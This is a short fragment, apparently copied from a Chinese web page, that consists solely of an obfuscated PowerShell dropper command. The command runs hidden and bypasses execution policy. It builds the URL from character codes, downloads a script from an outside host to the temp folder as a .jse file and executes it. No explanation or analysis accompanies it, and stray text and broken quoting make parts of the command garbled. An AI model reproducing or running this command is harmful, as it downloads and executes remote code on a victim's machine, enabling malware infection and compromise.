复制powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile(http:+[char] 0x2F+[char] 0x2F+cccn.nl+[char] 0x2F+c.php,网络文件\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""  1.